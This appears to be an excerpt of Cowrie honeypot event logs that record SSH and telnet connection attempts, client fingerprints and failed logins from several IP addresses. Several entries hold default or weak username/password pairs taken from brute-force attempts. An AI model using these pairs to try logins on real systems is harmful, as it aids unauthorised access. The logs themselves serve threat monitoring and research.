{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:16.919698Z","src_ip":"176.65.132.129","session":"5fe9630a6c53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":38468,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea40234436df","protocol":"telnet","message":"New connection: 45.81.23.16:38468 (10.17.0.5:23) [session: ea40234436df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:17.878740Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":38458,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a5a89ebc246","protocol":"telnet","message":"New connection: 45.81.23.16:38458 (10.17.0.5:23) [session: 4a5a89ebc246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:18.318132Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57864,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eebb5f1e1e0","protocol":"ssh","message":"New connection: 176.65.132.129:57864 (10.17.0.5:22) [session: 1eebb5f1e1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:18.899881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:18.903874Z","src_ip":"176.65.132.129","session":"1eebb5f1e1e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:18.989444Z","src_ip":"176.65.132.129","session":"1eebb5f1e1e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:19.452689Z","src_ip":"176.65.132.129","session":"1eebb5f1e1e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:20.537736Z","src_ip":"176.65.132.129","session":"1eebb5f1e1e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57868,"dst_ip":"10.17.0.5","dst_port":22,"session":"932548ba4db0","protocol":"ssh","message":"New connection: 176.65.132.129:57868 (10.17.0.5:22) [session: 932548ba4db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:22.520176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:22.525124Z","src_ip":"176.65.132.129","session":"932548ba4db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:22.612270Z","src_ip":"176.65.132.129","session":"932548ba4db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.840931177139282,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:22.719527Z","src_ip":"45.81.23.16","session":"ea40234436df","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:22.857483Z","src_ip":"176.65.132.129","session":"932548ba4db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:24.081021Z","src_ip":"176.65.132.129","session":"932548ba4db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.846327781677246,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:24.164338Z","src_ip":"45.81.23.16","session":"4a5a89ebc246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57026,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1f117c6a877","protocol":"ssh","message":"New connection: 176.65.132.129:57026 (10.17.0.5:22) [session: e1f117c6a877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:25.885844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:25.890539Z","src_ip":"176.65.132.129","session":"e1f117c6a877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:25.972408Z","src_ip":"176.65.132.129","session":"e1f117c6a877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:26.550494Z","src_ip":"176.65.132.129","session":"e1f117c6a877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.8.165","src_port":46032,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f2ef80785a5","protocol":"ssh","message":"New connection: 95.215.8.165:46032 (10.17.0.5:22) [session: 5f2ef80785a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:26.757789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:26.762947Z","src_ip":"95.215.8.165","session":"5f2ef80785a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:26.843012Z","src_ip":"95.215.8.165","session":"5f2ef80785a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qsx2wdc","message":"login attempt [user/1qsx2wdc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:27.207356Z","src_ip":"95.215.8.165","session":"5f2ef80785a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:27.634256Z","src_ip":"176.65.132.129","session":"e1f117c6a877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:28.312410Z","src_ip":"95.215.8.165","session":"5f2ef80785a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57036,"dst_ip":"10.17.0.5","dst_port":22,"session":"451b2e9d9783","protocol":"ssh","message":"New connection: 176.65.132.129:57036 (10.17.0.5:22) [session: 451b2e9d9783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:29.467637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:29.471743Z","src_ip":"176.65.132.129","session":"451b2e9d9783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:29.553109Z","src_ip":"176.65.132.129","session":"451b2e9d9783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:29.802716Z","src_ip":"176.65.132.129","session":"451b2e9d9783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.96.161.67","src_port":39109,"dst_ip":"159.203.135.109","dst_port":23,"session":"941e617220c4","protocol":"telnet","message":"New connection: 182.96.161.67:39109 (159.203.135.109:23) [session: 941e617220c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:30.090184Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8e6b7892820","protocol":"telnet","message":"New connection: 45.81.23.16:55060 (10.17.0.5:23) [session: a8e6b7892820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:30.238279Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:30.886639Z","src_ip":"176.65.132.129","session":"451b2e9d9783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57048,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbf94049ce0f","protocol":"ssh","message":"New connection: 176.65.132.129:57048 (10.17.0.5:22) [session: bbf94049ce0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:32.904803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:32.908635Z","src_ip":"176.65.132.129","session":"bbf94049ce0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:32.990682Z","src_ip":"176.65.132.129","session":"bbf94049ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":20882,"dst_ip":"159.203.135.109","dst_port":22,"session":"825b4d32f16d","protocol":"ssh","message":"New connection: 193.24.211.95:20882 (159.203.135.109:22) [session: 825b4d32f16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:33.205979Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:33.236687Z","src_ip":"176.65.132.129","session":"bbf94049ce0f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:33.264040Z","src_ip":"193.24.211.95","session":"825b4d32f16d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:33.314717Z","src_ip":"193.24.211.95","session":"825b4d32f16d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"hp.com","message":"login attempt [admin/hp.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:33.734838Z","src_ip":"193.24.211.95","session":"825b4d32f16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:34.321432Z","src_ip":"176.65.132.129","session":"bbf94049ce0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:34.845849Z","src_ip":"193.24.211.95","session":"825b4d32f16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53558,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6bb5140bf21","protocol":"ssh","message":"New connection: 176.65.132.129:53558 (10.17.0.5:22) [session: d6bb5140bf21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:36.364874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:46:36.520621Z","src_ip":"176.65.132.129","session":"d6bb5140bf21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-